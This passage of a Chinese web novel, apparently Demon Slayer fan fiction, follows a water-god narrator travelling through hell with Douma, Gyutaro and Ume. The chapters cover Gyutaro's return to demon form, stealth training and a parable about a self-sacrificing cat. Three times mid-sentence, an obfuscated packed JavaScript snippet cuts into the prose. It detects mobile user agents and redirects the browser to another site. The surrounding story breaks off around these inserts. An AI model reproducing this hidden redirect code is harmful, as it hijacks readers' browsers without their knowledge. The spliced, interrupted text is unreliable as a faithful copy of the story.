我的目光回到战况中,令我惊讶的是,这么一会儿工夫,那少年手中的镰刀在交错一击之下,竟然将魔兽的头斩了下来。 这几乎是不可能靠普通武器实现的事,但他做到了。 “可惜哦,光是砍掉头应该是不行的吧。”童磨叹了口气,“算啦算啦,谁叫我是个大好人呢?” 炎魔失去头的身体原地屹立不倒,升起一股黑烟,血液伴随着更多的烈焰从脖颈的断口喷涌出来,竟是在迅速再生。 但下一秒,它的脖颈处突然炸出一团血色的冰刺,紧接着又有许多根凭空出现的巨大冰刺洞穿了那烈焰升腾的躯体,并迅速在上面覆满了一层霜花。 妖兽般的红衣男人稳稳的踏上了炎魔仍在抖动的残躯,走过的每一步都凝结出冰霜。待他走到那布满尖刺的背部时,金色的流光毫无阻碍的撕开了彻底冻结的躯体,他伸手从其中拽出一颗火红色的晶体,将它托在手中细细端详了一番。 “咦,看起来好烫的样子,但似乎是没有吃过的口味哦。” 说罢他就将那颗晶体放入了口中。流动的炽焰沿着口腔和喉管一路灼烧,短暂的留下了烧伤的疤痕,又在一瞬间愈合。 等他像个神明般走到半跪在地上喘息的妓夫太郎面前时,已经丝毫看不出吞噬过猎物的痕迹了。 我想妓夫太郎应该是大受震撼,因为当他再次抬起头仰视面前的童磨时,目光中带上了某种浓郁的希望。 “童磨大人…”他咳了两声,嘶声说,“为什么您的血鬼术变强了?您是怎么做到的?请…请教教我!” 我实在是无语。少年,你眼神有问题吗?那个怪物现在用的东西,哪里还是正常的血鬼术?压根就是变异了好吗?? 我就不该给他吃那些乱七八糟的东西,这个家伙的吞噬和吸收能力过于诡异,似乎完全不按正常的演进路线来啊! “因为这里是地狱呀,妓夫太郎。” 名为童磨的怪物微笑着说。 “是没有束缚,也不用遵照常理的幸福的地方哦。” “啊,不如我们来做个实验怎样?”怪物饶有兴致的弯下腰,虹彩的瞳孔中闪烁着隐约的兴奋,“你要不要接受我的血试试呢?虽然连我自己也不确定会是什么效果啦,毕竟我不是无惨大人那样谨慎的人嘛。” 这太疯狂了! “等等!”我快步走了过去,“你确定要让他的灵体重新变回鬼吗?我们谁也不知道会发生什么,如果他因为这个没法去转世怎么办?” “但小染接受过我的血,并没有什么事呀。”童磨无辜的摊摊手,“我有仔细观察过哦,都没有发生什么明显的反应呢。” ……我想砍死他,真的。 “我愿意。” 那佝偻着身体的少年几乎不假思索的答道。 “就算我不能离开,也可以保护小梅她平安的离开这里。请童磨大人赐我鬼血,让我成为您的眷属。” “我不要!” 不远处突然传来一个尖脆的声音。小梅一阵风似的跑过来,拦在童磨面前。 她应该是有点害怕的,声音都带着一点颤抖,“我不要一个人离开这里,哥哥必须跟我一起!” “诶呀,这就难办了…” 童磨笑眯眯的看着她,“小堕姬,你打算拖后腿到什么时候呢?” 无视女孩惊恐的眼神,他身上散发出了那种无机质的、毫无起伏的冰冷。 “太弱了呀,小堕姬太弱了。总是这样的话,会害死你哥哥哦。” “童磨大人!”妓夫太郎有点慌了,“请不要责怪小梅…我…我并没有因为战败而怪过她,都是我的错,是我不够强大,没能保护她…” 小梅握紧了拳头,全身都在发颤,眼中渐渐溢满了泪水。 “童磨大人是大笨蛋!” 她大喊了一声,转身跑进了后方的森林。 我找到她的时候,小梅正抱着膝盖的坐在林间的一节枯木上,两眼通红。 在双手间凝成一捧清水,我将水凑到她面前:“要不要洗洗脸?你脸上都是灰,看着都不漂亮了。” 大概是真的在水中看到自己灰头土脸的样子,女孩边吸鼻子,边将手伸进水里,胡乱往脸上抹。 “我知道自己不行,”她闷闷的开口,“从前就是这样,不管谁欺负我,哥哥都会挡在我前面,我从来都不担心,也不害怕。可我们总是吃不饱,那些小孩还冲哥哥扔石头,叫他丑八怪。就算有债主把他打的浑身是伤,我也什么办法都没有。” “本来想,做游女做个几年就能攒下钱,能买得起漂亮的衣服,也许还有大一点的店让我去工作,哥哥就再也不用那么辛苦了。” 她捂住脸,呜咽出声:“如果不是我弄瞎了武士的眼睛,如果我能再聪明一点,如果作为鬼的我能变得更强……我一直都是这么想的啊,我真的已经很努力了…” “我好恨那些人啊…为什么连一条活路也不给我们…我们只是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“帮她找一个孩子,那是一个对她来说无比重要的人,就像你哥哥对于你来说那么重要。” “那你找到了吗?” 我没有回答她的问题,而是继续说道: “所以,谢花梅,你活着的意义也不是为了憎恨人类或者懊悔过去,而是先努力的长大,成为一个幸福的人,因为你是你哥哥的希望,只有你幸福的活在世上,才能从地狱里拯救他。“ 小梅扭开头:“我已经在努力长大了,我还当过了花魁呢。但童磨大人说的对,我还是很弱,太弱了。” 我叹了口气:“承认自己弱小是长大的第一步。我刚到地狱的时候也很弱啊,只有一把小刀子,经常被人砍的七零八落的,头都掉过好几次呢。” “啊?”她难以置信的看着我,“怎么可能?我才不信呢。” “是真的啊,你看这个。”我给她看我手腕上的银铃。 “这是我最重要的东西,最近才刚刚找回来。两百年前,有次我被人把手脚都砍掉了,好久都没能再生,等我醒来才发现我最重要的东西,和我的记忆一起被人拿走了。” “但是,丢失的东西,如果有不可破除的牵绊,就一定会回到你身边的。所以你看,这不是回来了吗。” “你好唠叨哦。”小梅突然撅起嘴,“你怎么比童磨大人的话还多啊。” 我顿时有点尴尬:“是,是吗?可能年纪大了都这样吧。” “我知道你想安慰我,我现在不难过了。”她擦擦脸,站起身来,“我们回去吧。” “啊,其实我是想问你一件事。”我说,“我教不了你血鬼术,但我隐身和跑路的本事还不错,练了几百年呢,你有兴趣跟我学吗?学会了至少不会死哦。” 小梅站住了。 我觉得自己简直就像开启了传教模式的某人,这种感觉太无耻了。 “什么嘛。”银发少女缓缓转过头,挑衅的看着我,“我当初的拟态可是连无惨大人都赞不绝口的,才不会输给你呢。” “那就这么愉快的决定了。”我满意的点点头,“从明天开始,我们来玩捉迷藏吧。” 26. 食人之鬼与斩鬼之人(6) 妓夫太郎让我第一次见识到了变鬼的过程,虽然他之前也是以鬼的身份下了地狱,但剥离血鬼术后灵体的属性其实更接近人类,我实在不知道在地狱里转化灵体属性这种事如何完成,但对于童磨来说这些都不在他的考虑范围内。 我望着面前的一大片纯粹用冰做出的莲池,以及颇有宗教气氛的莲花圣坛,感觉他对这件事的关注点似乎有点不对。 “你搞的这么……复杂干嘛?上次不是在路边就完成了么?” “诶呀,明明是上一次做的太草率了嘛。赐予鬼血可是非常重要的事,是一种祝福哦。”鬼振振有词的说,“再说了,当年接受无惨大人血液的鬼里,很多都会直接发疯或者失控,在饥饿的驱使下吃掉亲人的也大有人在,我这么仁慈的人是不会允许这种事发生的,当然要提前准备以防万一啦。” “什么,还会发疯的吗?”我有点后悔说服小梅接受这件事,“等等,所以你之前就在我没意识的时候直接把血喂给我了,没考虑过这些风险吗?” “啊,那当然是因为小染很特别啦,感觉完全不用担心会被弄坏呢!“童磨满脸无辜,“我也很想看看我的血液进入小染的身体会是什么反应,但似乎没有我期待的效果呢,好可惜。“ “……” 感谢我强大的生命力! 于是极乐教教主重拾旧业。站在他华美的冰莲圣坛前,白发彩瞳的神明微笑着问道: “妓夫太郎,你愿意接受我的救赎吗?” “我愿意。”妓夫太郎半跪在他面前,用沙哑的声音认真的说,“请童磨大人赐予我救赎。” 不能不说鬼也是存在职业天赋的,这神圣氛围感瞬间拉满! 我坚信,就算他们那位前老板看到这圣光四射的一幕,大概也会自叹不如吧。 童磨用指尖轻轻一划,细细的暗红色血流顺着手腕流淌下来,一滴一滴落在妓夫太郎手中,慢慢集聚起一小摊,还有一些滴落到冰上,红的异常艳丽妖娆,像是一首暗夜中低吟的颂歌。 我莫名觉得那颜色有些刺目。 滴答,滴答,滴答… 似乎是有过那样的时刻,视野中全是这样刺目的红色,染红了雪亮的刀刃,染红了青绿的茶席,染红了孩童洁白的手。 那似乎也是非常神圣的时刻,然而血流成河,带来的,却只有窒息般的心痛。 把意识从奇怪的地方拽回来,我看见妓夫太郎将手中的鬼血一饮而尽,没有丝毫犹豫。 “感觉怎么样?”童磨很期待的问。 少年皱了皱眉,刚想说什么,突然痛苦的弯下了身体。 我可以清晰的看到一道血红色的寒气顺着他颤抖的身体迅速蔓延开,几乎一瞬间就有霜花交织着诡异的血线浮现在身体表面,如同一道蚀骨的网,撕裂血肉,扭断骨骼,吞噬灵魂。 我是真实的听到了骨骼寸断的咯咯声。旧的躯体节节崩裂,新的躯体像是一只破茧的蛾,从背部血肉模糊的裂口拱出,明显更加高大而扭曲,几乎冲破薄薄皮肤的骨骼也更加狰狞,两道血肉纠结的奇怪物体从他的手臂中钻出,如同疯狂生长的藤,在尽头炸开成凛冽的寒光,一对巨大的镰刀居然就这么长了出来。 镰刀上黑气缠绕。发色暗绿的恶鬼站直了身子,微微张开利齿遍布的嘴,呼出一口寒气。 意识到身旁的小梅紧张的绷紧了身体,我默默抓住了她的胳膊。 我可不想她现在冲过去,万一妓夫太郎真的没有意识,那就是一场惨剧。 童磨满脸圣洁微笑的站在那里,只是一把扇子在手中半开半合。 妓夫太郎抬起一只手,挠了挠头发。 “童磨大人……”他的声音依然嘶哑难听,如同钢锯划过木板。 “您的血里……” “怎么这么大的紫藤花味啊?” 恶鬼苦着脸说。 ??? 童磨的表情明显僵了一下,但厚颜无耻如他,很快化解了这一瞬间的莫名尴尬。 “啊,不用在意那种小事。”他笑嘻嘻的说,“不过是一个可爱的女孩子给我留下的纪念而已。” “哥哥!“小梅跑了过去,完全无视兄长狰狞的身体,紧紧抱住了他。 “小梅啊…我的笨妹妹。”妓夫太郎小心的放下了镰刀,抱起了她。 “哥哥这次一定会保护好你。” 这对兄妹仿佛劫后余生般拥抱在一起。我悄悄走到了童磨身边。 “小染,怎么样?”他颇为自得的说,“我观察了一下,这孩子基本恢复了上弦时的实力。呵呵呵,连无惨大人也做不到这种程度,真是完美,太完美了!” “变鬼原来会那么痛吗?” 他转头看着我,眼中掠过一丝不易察觉的微妙,“在说什么傻话啊,小染。诶呀,难道你也跟小堕姬一样傻掉了?” “你变成鬼的时候,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252303|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么痛吗?” 我抬起头直视着他,轻声问。 不出所料,那双琉璃般绚烂的眼中只有一片寂静。 随即,那张脸上一如既往的荡开了一个温和的微笑。 “一点也不痛哦。”他说,“小染不知道吗?我啊,是感觉不到痛的。” 白姬大人不要哭哦,一点也不痛呢。 有个孩子的声音在我耳边轻声说。 告诉你一个小秘密,我其实,是真的不太怕痛的哦。也感觉不到害怕和难过。 “不仅不痛,那感觉还很让人上瘾呢。”鬼陶醉的说,“无惨大人的手指插进我头骨的感觉,诶呀呀,那真是……” “那真是太好了…”我喃喃道。 “小染?”鬼疑惑的问,“你为什么哭了呀?诶?你有什么难过的事,可以跟我说啊。” 不,那只不过是…心脏破裂的感觉。 白,你现在终于知道了吗?在你小小的神明身上,到底发生了什么事。 我擦了擦涌出的泪水,勉强按捺住了灵魂深处那个嚎啕大哭的女孩。 却没留神突然被拉进一个冰冷的怀抱。 “好啦好啦,不管是什么事,来抱抱就不难过啦!”童磨的声线依旧非常温柔,还拍了拍我的背,“我呐,可是最会安慰人的!既然我们是好朋友,小染想说的时候,我随时愿意听哦!” 身体完全不由自主。我紧紧的抱住了他,好像如此就能隔着无可挽回的时光,抱住那个在我耳畔低语的孩子。 四周安静了片刻,再次抬起头时,我已经恢复了冷静。 “我明天开始训练梅隐蔽自己气息的方法,她哥哥就交给你了。”我说,“死灵之森的灵力流动方式以及这里的生物都和业火之界不太一样,请童磨大人务必不要轻敌。” “诶?这就结束了吗?”鬼露出哀怨的眼神,“小染的身体好温暖啊,人家明明还想再抱一会儿呢。” “……” 我拍了拍发热的脸,扭头道:“小梅,明天我们……” 却看到那兄妹俩直直的瞪着我们,那表情仿佛真的见了鬼。 终于还是小梅忍不住,“哥哥,他们这算不算……唔!” 妓夫太郎眼疾手快的一把捂住了她的嘴巴,咧开嘴笑的无比诡异:“我们先去四周查看下,童磨大人和染小姐请…请随意!” 诶?发生了什么事?为什么他们跑的那么快? 27. 食人之鬼与斩鬼之人(7) 这事的副作用是谢花梅一直到第二天看我的眼神还透着诡异。 我没空理会她。带她进入一片地势比较平坦的枯树林后,我先确认了下环境的安全,然后问道:“你之前说的拟态,是怎么一回事?” “那个啊,说的是鬼隐藏在人群里的本事。因为鬼的外形和气息都跟人类不一样,通过伪装能让自己看起来完全是人类。”小梅得意的说,“我和哥哥在吉原潜伏了一百多年,几乎没人能认出我是鬼呢,无惨大人就更厉害了,他有三种拟态,常年混迹在人类当中,听说还有人类的妻子来着。” “很好。我要教你的东西其实也跟这个差不多,都是如何让自己融入环境,使敌人无法发现。” 小梅看看四周奇形怪状的枯树,挑了挑纤美的眉:“你的意思是让我变成树?神明大人,这种事怎么可能做到嘛。” “地狱是一个意念的世界,在这里,学会掌握自己的意念,就和你在人世出生时学会掌握自己的身体一样重要。”我折了一根树枝握在手里,“就像这样。” 一个呼吸后,我的手指笼上了一层淡淡的光影,看起来完全和树枝没有了区别。 女孩子露出了惊讶的眼神,“这是幻术嘛?我听说有的血鬼术能隐形,但从没见过。” “你在地狱里拥有的身体,我们称为灵体,只有意念强大的人,在这里才能维持实体化的灵体。但灵体终归是灵魂的记忆和意念的显现,因此,改变你的意念,就能在一定程度上改变你的灵体。” 小梅跳了起来:“那我是不是也能再变成鬼?我不想当人类,我要当鬼!” 我无语,感觉这姑娘完全没有领会到她兄长的苦心:“打破界限的事是很难做到的,尤其人类的灵体很弱。但弱有弱的好处,你没有灵力波动,隐藏起来反而会更容易一些。见过蛇或者蜥蜴吧?他们在水中或草木间潜伏的时候,几乎没有人能发现,这就是我要教给你的东西。就像你曾经用拟态隐藏在人群里一样,现在试试让自己隐藏在森林里吧,我等一会儿就去捉你,快去。” 小梅撇撇嘴,娇小的身影迅速没入了林间。 跑的倒是挺快,这孩子非常轻盈,也许真的能学会潜行呢。 看她跑远了,我冲不远处无奈的笑道:“出来吧,童磨大人,您在偷看什么啊?” 白发的鬼像条鲶鱼似的贴了过来,“小染在教小堕姬隐身吗?人家也要学嘛。” 我把他的胳膊从我肩膀上扒拉下来,“我可教不了上弦之二,这都是保命的小伎俩,您的血鬼术够强大了,不需要学这种东西。” 他一脸无赖的笑:“小染会的,人家也要会。况且如果连小堕姬都学会了,我还不会的话岂不是丢脸?” “不容易啊,童磨大人学会‘丢脸’这个词了!”我故作惊讶的瞪大眼睛,“要知道脸在您身上可是个稀罕物件呢!” 说归说,我还是向他讲了基本的灵力运转和隐藏灵力波动的原理。前上弦竟然听的非常认真,还很是理解的样子。 这就是童磨这只鬼的优点——对一切跟血鬼术沾边的东西都怀有天然的、孩子一般的好奇心,他头脑又聪明的可怕,几乎不用解释第二遍。 “总之,这不是太难的事,尤其你吃过我的肢体和我的血,按理说应该能读取到我的技能信息啊。”我说。 他摇摇头,“虽然能理解,但似乎不是很容易做到呢,我想这可能是因为小染是水神,更容易隐藏在有水的环境中。但我是鬼,鬼的气息还是很强烈的,虽然平时可以用拟态掩饰,但一旦使用血鬼术,就很难再藏得住啦。普通人可能无法察觉,但那些受过训练的猎鬼人很快就会发现。我想在地狱里也是一样的道理。” “嗯,这倒是个问题。”我想了想,“但既然作为鬼的你已经死了,都来了地狱,不如尝试下新的认知?比如或许你也可以不是鬼。” 这句话好像把堂堂上弦之二都惊到了。 “不是鬼?”童磨笑的停不下来,快把扇子都扔出去了,“不是鬼还能是什么?” 我认真道,“我觉得以你的才能,完全可以不用去管你们那个无惨大人设下的条条框框。你听说过哪只鬼下地狱后还能用血鬼术的?你就可以。你听说过哪只鬼能吞噬神灵狩的?你就可以。在你之前我没见过别的鬼,但我想他们应该都不如你厉害。对我来说你就是童磨,是独一无二的存在,就算有一天你能做到什么不可思议的事情,我也毫不意外。“ 童磨脸上的表情消失了,只剩嘴角还噙着一丝笑。 “那么童磨是什么呢?小染知道吗?”他靠近我,轻声问。 “我杀过很多的人哦,多到连我自己都记不清了。“ “几百年间,我吃过不计其数的女孩子,还有不计其数的信徒,你也是知道的吧。” “小染觉得,我还能是什么呢?“ 哦,这该死的身高差造成的压迫感。 我叹了口气,然后身形一闪,从他的阴影中悄无声息的溜走,坐在了旁边的树杈上。 嗯,居高临下的视角就好多了。 “我给你讲个故事吧,童磨大人。” 他似笑非笑的歪了歪头。 “从前在越后有一家布商,他家的少主偶然得到了一只猫,从小养大,爱不释手。” “因为家中生意困窘,有天少主对猫许愿说,猫啊猫啊,我实在是没法活下去了,看在我养大你的份儿上,给我一些金币吧。” “没想到第二天少主一觉醒来,枕边还真出现了两块金币,是实打实的足金。少主高兴坏了,也第一次明白他得到的是一只神猫。” “于是他用那两块金币去进了货,家里的生意恢复了。之后日子也渐渐好起来,他便开始出入酒馆和赌坊那种地方,钱很快又不够用了。他就再次对着神猫说,猫啊猫啊,看在我养大你的份儿上,再给我一些金币吧。” “果然,第二天一早,更多的金币出现在他床上。” “少主终于懂了,这是一只随时可以满足他愿望的神猫啊!于是只要他钱不够用的时候,就去对猫许愿,求得更多的金币。” “但他没有注意到,猫一天天的消瘦下去,皮毛也变得不再光泽了。” “有天他又输了钱,回到家里,照旧对神猫说:猫啊猫啊,看在我养大你的份儿上,再给我一些金币吧。” “少主在这天半夜醒来,发现猫悄悄溜出了门,他忽然想知道猫是从哪里找到的金币,自己也知道那个地方的话,是不是就能得到无穷无尽的金币了呢?于是他跟上了猫,想看看猫会去哪里。” “一直跟到了河边,他看到猫在月光下开口说了人话。” “猫说:神啊,拿走我的皮毛,再拿走我的眼睛,给我金币吧。” “猫又说:神啊,拿走我的血肉,再拿走我的骨头,给我金币吧。” “少主看到猫的身体在月光下渐渐变得透明起来,才明白那些金币,并非来自神力,而是猫用自己的身体和灵魂来交换的。” “但已经太晚了。当他扑过去的时候,猫回头看了他一眼,就像个肥皂泡一样在月光下消失了。” 我低下头看着童磨:“我讲完了。” 鬼的脸上扯出了一抹非常不自然的微笑。 “真是个悲伤的故事啊。”他笑着说,“所以你又是谁呢?小染?你在这个故事里吗?” “我不在故事里啊。”我说,“但作为故事的旁观者,我只希望那只猫不要消失掉。” “我很想替它找回那些本来属于它的皮毛和血肉,也许它不知道自己失去了什么,但也没关系。如果我是那只猫的朋友,我只想让它明白,它的生命一样很宝贵,世上除了金币和索要金币的人,也还有无数风景可看,如果消失的话,就太可惜了。” “我先前还真是不知道呢,小染。”童磨的声音突然出现在我耳畔,不知何时他已经无声无息的坐在了我身边,“朋友原来是这么奇怪的东西吗?” 这只鬼的眼睛在笑的时候是桃花花瓣的形状,透着七分凉薄三分媚气,加上流光溢彩的瞳色,就很难让人留意到其中的虚无与死寂。 “我有过很多朋友,但他们都和你不一样。”鬼仔细的盯着我的脸,“呐,小染,我们会不会曾经见过面呢?我总觉得应该是在哪里见过你这张脸。” 我实在不知道该怎么向他解释我的那些过往以及我和白之间复杂的关系,特别是这鬼的脑回路一直相当离奇,万一理解不了就糟糕了。于是我笑了笑:“活太久了果然记忆力也是个问题啊,童磨大人。” “哪有,人家的记忆力一向很好。”鬼眨了眨眼,不出所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252304|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料的抗议道:“在上弦里面也是最好的。“ 但下一秒他就凑的更近了。 “可这次人家是真的想要知道嘛。小染到底是谁?小染藏着什么秘密呢?呐,告诉我吧,好不好嘛~” “都说了我是荒川的水神,荒川是一条河,在江户那边…你再挤我就要掉下去了啊童磨……” “我说,神明大人是把我遗忘了嘛?” 一个尖脆的声音气呼呼的从树下传来。我低头一看,谢花梅正叉着腰,满脸黑线的看着我。 啊,糟糕,真的把她忘了! “我可是在林子里跑了好几圈呢,怎么等你都不来!”她气的脸都红了,“原来你在这里跟…跟……” 女孩看了一眼童磨那张皮笑肉不笑的脸,可能还是多少有点畏惧他,于是改了口:“……原来你在这里跟别人说话!我不管!”她恶狠狠的说,“你说好了要教我的!” “诶呀,”童磨笑嘻嘻的摇了摇扇子,“小堕姬怎么还是这么任性呐。小染可是我的朋友,我想什么时候找她说话都可以。” 我难以置信的看了他一眼,不知道为什么这只鬼总喜欢跟个小女孩较劲。 “什么朋友?我还不知道童磨大人你?”小梅脸上浮现出一种与年龄不符的冷笑,“你又想玩那种恋爱游戏了不是嘛?把人耍的团团转,最后再杀了吃掉,还要品评下心脏的味道是不是变得更美味了。以为我看不出来?”她转向我,“你别信他,他在鬼里也是有名的骗子,就喜欢骗女人,实际只是拿你当粮食罢了!我看你人还不错,趁早离开他完成你的那个什么约定去,否则当心连死都不知道怎么死的!” 呃,这孩子真是心直口快啊。 眼见童磨的目光冷下去,我心知不妙,只能暗暗叹口气,跳下树不动声色的走到小梅面前,挡住了她瞪着童磨的视线。 “抱歉啦,让小梅等了我这么久。其实我是在给童磨大人讲故事呢。” “你不用糊弄我,我可是在吉原花街长大的,这种事见得多了。”小梅嫌弃的说,“一看你就是被他迷了心窍,我都跟你说了他脑子有……” “小梅!” 妓夫太郎不知从哪里冒出来,一个闪身来到女孩面前,捂住她的嘴将她抱起来就走。 谢天谢地,来的太及时了!还以为又要发生玉壶那样的血案了! 我几乎出了一身冷汗。 话说妓夫太郎捂嘴捂的还真是熟练啊… “诶呀,真是让人伤心~” 我回过头,看到那只刚刚还杀意骤现的鬼居然站在树下无限委屈的抹眼泪。 “小堕姬竟然是这样看我的嘛?人家明明每次去花街都有带礼物给她。”童磨哭的梨花带雨,“人家是认真的在跟小染做朋友嘛,并没有想吃掉小染的意思,就算以前有过,现在也没有了嘛!怎么可以这样冤枉人家~” 嗯,感觉我最近受的惊吓比在地狱里的两百年加起来都要多。 于是我只好无可奈何的走了过去。 “好啦好啦,童磨大人也不是小孩子了,怎么连这点事都计较?”我哭笑不得的看着他。 “作为朋友,童磨大人一直对我很坦诚,我对你的信任是不会因为别人说什么而有所改变的。你过去是什么样的人,和我又有什么相干?我认识的是现在的你,这就够了。” “小染说的是实话?”鬼抬起头,收放自如的眼泪迅速消失,“骗人的孩子要吞千针哦~” “除了最开始那次,我有骗过你吗?”我狡黠的一笑,“况且就算你真想吃我,没准根本就抓不住我呢?毕竟我可是很会躲的,而童磨大人嘛,是连隐藏自己气息都做不到的鬼哟。” “小染这是在挑战我嘛?”童磨眯起了眼睛,“我喜欢哦。不如我们来打个赌,看我能不能学会你这种新的拟态方法?” “关键是不光隐去身形,要连灵力波动都隐藏起来哟。我赌童磨大人学不会,如果我赢了的话,你就要满足我一个愿望。” “如果小染输了呢?”童磨不怀好意的笑起来,“就把你的秘密全都告诉我吧。” “一言为定。附加条件是,从明天开始,你不准再干扰我对小梅的训练,不许偷看,也不许逼问她训练内容,否则就算作弊。” 鬼笑的无比欢快:“一言为定。” 28. 食人之鬼与斩鬼之人(8) 谢花梅不愧是在做鬼时在拟态方面小有所成的,几天时间,她就能完全隐藏起身上那部分因为与妓夫太郎共生而具有的鬼的气息,走路也变得悄无声息起来,有几次竟然悄悄接近我而没被我察觉。我问她秘诀在哪,她得意的告诉我这是因为她潜伏在吉原时的身份一直是花魁,为此曾专门练习过那种像猫一样轻盈无声的步态。 看来这姑娘只是年纪小加上性格直率,并不是有多笨。我有点惋惜,倘若在活着时没有遭遇那样的惨剧,也许她长大后真的能成为一位美艳动人的花魁,和兄长一起过上有饭吃、有衣穿的好日子。看来成了鬼的也不都是像童磨那样出于一些莫名其妙的理由,也有谢花兄妹这样的为生死存亡所迫,别无选择的悲剧存在。 但她依然没能领会到如何在树木间隐去身形,因此总是被我逮个正着。 “这不公平!”在这天第五次被我抓住后,小梅抗议道,“我根本没看清你是怎么过来的!这样我根本学不会!” “技巧的关键在于你需要想象自己是这座森林的一部分。”我解释道,“要让心静下来,不要那么急躁。即便这里是无间地狱,说到底也是罪人们的心念所化成的幻象,这里的法则是,你越是执着于什么,就越容易碰到什么样的考验,就像你之前会遇见炎魔一样。堕落者的执念在这里汇集,无休无止的缠斗下去,最终归于虚无,这才是无间里真正的惩戒所在。” “有执念才是鬼啊,没有执念成不了厉害的鬼。这是无惨大人说的。”小梅又搬出了前老板的教诲,“就连神明大人你也有执念啊,你不是要去找一个小孩嘛?我就搞不懂了,你干嘛要跟我们这些鬼混在一起?” “小梅,”我正色道,“我和你们同行自然有我的理由,你放心,我肯定不会伤害你和你哥哥。但我是将小梅看作朋友,才会告诉你关于我自己的事,我希望除了我们两个以外没有任何人知道,包括童磨。你能做到吗?“ 妓夫太郎大概是私下跟她说了什么,小梅不耐烦的说:“行了行了,我才懒得管你们的事呢,反正该说的我都已经说了。你的隐身术我学不会,我不玩了。” “不如我们换个方法吧。”我想了想,说,“我教你个独门秘诀。你闭上眼睛。” 她满脸不屑,但还是耐着性子照做了。 “你试试感觉一下,我的方向上有什么特别的东西吗?任何感觉都可以。” “什么也没有嘛。”她皱了皱眉,“等等,这是……香味?” “太棒了。”我夸她,“小梅果然是厉害的上弦呢。” “那是什么?”女孩睁开眼睛,好奇道,“好像水和什么花的味道?但你明明应该隐藏了气息呀。” “凡是地狱里呆久了的生物,灵体都会慢慢渗出某种‘本质’的味道,这种味道一般会留在他们经过的地方,即便隐藏了气息,用心的话也能感觉得到。如果对方原本是神灵,往往会带有某种香气,但如果是一些高等的魔物,味道上就会比较奇怪,比如炎魔,有时就算离的很远,你也能闻见灰烬的味道。你要学会捕捉空气中的这些细微的变化,因为有味道的地方代表危险级别高,就要提前绕开走。反而是一些刚来到地狱的灵体,身上没有什么特殊的气味,但那种东西反而不太危险,也不懂如何收敛气息和利用灵力,你躲起来就可以了。” “我明白了!”小梅终于高兴了起来,“因为我以前是鬼,鬼的嗅觉非常灵敏,所以才能闻到神明大人身上的香味!但我现在应该是人了啊,为什么还有这种能力?” “我想大概是因为你哥哥重新被转化成了鬼,而你们是共生关系,所以你多少可以分享他的能力。这件事你也可以告诉妓夫太郎,这样以后如果遇到了不同的对手,可以提前做好准备。” 不知不觉中,我们已经漫步到森林中一个较为偏僻的区域,这里奇特的植物渐渐多了起来,地面上和枯死的树干上生长着一些闪耀着蓝紫色灵光的藤蔓,一群散发着紫色微光的、如同凤尾蝶一样的生物在那些植物间起起落落。我在业火之界活了两百年,也从未见过这样的奇景,一时看的有些呆住了。 小梅轻轻扯了扯我的衣袖,低声说:“有人。“ 我闻声抬起头,先不动声色的将她拉到我身后,左手按在了腰间的刀柄上。 在通往林木深处的一条小路上,平地起了一层淡紫色的薄雾,一个女人站在那里。 可能因为雾气的缘故,她的身形影影绰绰,但依稀能看清是一位身着和服的端庄女性,盘着发髻,衣袖上依稀是植物和团花的图案。 我皱了皱眉,那层雾气似乎有保护的作用,让我无法分辨这女人究竟是何种存在。但她只是静立不动,仿佛只是一个影子,似乎在往我们的方向望着。 “阁下是什么人?”我开口问道,“我们没有恶意,只是误入此处。看您一直站在那里,是否有事需要帮助?不如大家坦诚相见?” 对方没有回复,雾气却更浓了些,下一刻就像轻轻抹去什么东西似的,那个身影消失了。 我感觉不太对劲,马上带着小梅原路返回,还好对方看起来没有攻击的意图。一直跑到森林的边缘,我才放下心来。 “明天我们换个地方训练,离那个方向远一点。”我对小梅说。 “神明大人这么胆小嘛?”小梅满不在乎的说,“只是个女人而已,看那样子可能是个人类?反正我完全感觉不到鬼的气息。” “未必,如果只是人类的灵,是没有能力用雾来隐藏自己的。而且对方相当谨慎,在这地方,懂得隐匿自己的,都不会是简单的存在。总之小心为妙。” 刚刚走出那片森林,就看到童磨满面春风的站在不远处,颇为夸张的朝着我们挥了挥手中的扇子。 “小染~小堕姬~快来看看我们发现了什么有趣的东西~” 我们沿着另一侧森林中的路走了很久,直至深入到一处山谷中。渐渐我察觉到这里的环境发生了变化,出现了更多的灌木,树木也变得高大起来,没有叶片的枝条上盘绕着不少白色的藤蔓,垂下一片片羽状的苍白花叶。地狱里没有太阳,生物也基本只依赖于三途河的灵脉生长,可能是因为此处水泽丰富,逐渐生出了特定的植物,但令我极为震惊的是,拨开一片茂密的藤蔓,视野中竟然出现了一座完好的阵屋。 我的第一反应是,这应该是某种极其仿真的幻术,就像之前的极乐寺一样。但一番探查后发现,屋子周边没有任何异常的灵力波动,屋子本身看起来空置了很久,院落的地上和建筑的墙体上爬满了枯萎的藤蔓,像是人去楼空了许多年。 